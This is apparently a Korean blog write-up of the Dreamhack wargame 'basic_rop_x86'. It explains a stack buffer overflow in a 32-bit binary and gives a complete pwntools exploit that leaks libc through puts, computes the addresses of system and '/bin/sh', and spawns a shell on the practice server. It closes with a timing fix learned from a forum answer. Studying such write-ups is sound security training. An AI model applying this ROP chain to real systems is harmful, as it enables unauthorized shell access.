dreamhack - basic_rop_x86 writeup
[dreamhack] basic_rop_x86 writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf
에 0x400
만큼 입력을 받고, 0x40
만큼 출력한다.
바로 전에 풀었던 64비트 ROP의 32비트 버전 문제이다. 코드까지 완전히 똑같다.
ROP에 대해서는 이전 글을 참고하자.

dreamhack - basic_rop_x64
https://jjblog.duckdns.org/ctf%20writeup/2025/05/29/dreamhack-basic_rop_x64.html흐름은 이전과 같이 아래와 같다.
- 1.
puts@plt
를 통해read@got
에 들어있는read
함수의 실제 주소를 leak - 2.
system
함수와/bin/sh
문자열의 실제 주소를 계산 - 3.
main
함수로 흐름을 돌린 뒤에system("/bin/sh")
실행
먼저 read
함수의 실제 주소를 leak 해보자.
# 1. Get read@got
payload = b''
payload += b'a' * 0x44 # buf
payload += b'b' * 4 # sfp
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(elf.got["read"])
payload += p32(elf.symbols["main"])
p.send(payload)
여기서 pr
은 pop xxx; ret;
가젯의 주소이다. ROPgadget
을 통해 구해주었다.
No-PIE
이기 때문에 puts@plt
의 주소가 고정이다. 따라서 gdb
를 통해 main
에 breakpoint를 걸고 실행한 뒤 구해주었다.
그 다음, system
함수와 "/bin/sh"
문자열의 실제 주소를 계산하자.
read_libc = u32(p.recv(1024)[64:68])
print(hex(read_libc))
input()
system_offset = 0x00047cb0
binsh_offset = 0x1b90f5
read_offset = 0x001084c0
libcbase = read_libc - read_offset
system_libc = libcbase + system_offset
binsh_libc = libcbase + binsh_offset
write
함수가 0x40
만큼 출력하기 때문에 64바이트 이후부터 4바이트를 읽으면 read
함수의 실제 주소이다.
이를 기준으로 libcbase
를 계산하고, system
함수와 `“/bin/sh”문자열의 주소도 offset을 통해 계산해주자.
구해야할 것들을 모두 모았으니 이제 exploit만 남았다. 최종 exploit은 아래와 같다.
from pwn import *
p = process("./basic_rop_x86")
p = remote("host3.dreamhack.games", 12588)
elf = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
pppr = 0x08048689 # from ROPgadget
ppr = 0x0804868a
pr = 0x080483d9
puts_plt = 0x8048420
# 1. Get read@got
payload = b''
payload += b'a' * 0x44 # buf
payload += b'b' * 4 # sfp
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(elf.got["read"])
payload += p32(elf.symbols["main"])
p.send(payload)
sleep(1)
read_libc = u32(p.recv(1024)[64:68])
print(hex(read_libc))
system_offset = 0x00047cb0
binsh_offset = 0x1b90f5
read_offset = 0x001084c0
libcbase = read_libc - read_offset
system_libc = libcbase + system_offset
binsh_libc = libcbase + binsh_offset
# 2. Get Shell
payload = b''
payload += b'a' * 0x44
payload += b'b' * 4
payload += p32(system_libc)
payload += b'aaaa'
payload += p32(binsh_libc)
p.send(payload)
p.interactive()
2.1. 로되리안 현상(?)
이게 로컬에서는 문제없이 잘되는 exploit이 서버에서는 안되는 경우가 발생한다. 이를 로되리안 현상이라고 부른다는데 어이가 없다… 나도 이게 심지어 로컬에서도 잘안되다가 어이없이 성공했는데, dreamhack의 질문글과 답변들을 보다가 해결할 수 있었다.
결론적으로 말하면 위 exploit 코드에서 첫번째 payload를 보낸 뒤 sleep(1)
을 추가해서 해결했다. Sechack님이 아래와 같이 답변을 주셨다.
sendafter이나 sendlineafter이 아닌 그냥 send함수나 sendline을 사용할경우 sleep함수로 약간의 딜레이를 걸어줘야 합니다. 로컬에서야 pwntools의 입력속도보다 처리속도가 빨라서 될수는 있어도 서버는 네트워크를 통해 데이터를 주고받기 때문에 서버가 입력을 처리하기 전에 데이터를 보내버리면 익스플로잇이 실패하게 됩니다.

로컬에서는 되는데 서버에 접속하면 안됩니다
https://dreamhack.io/forum/qna/785/왜 지금까지는 아무 문제가 없었을까…
이 문제도 libc.so.6
이 제공된다. 반드시 patchelf
를 수행해서 서버환경을 맞춰주자…
해결~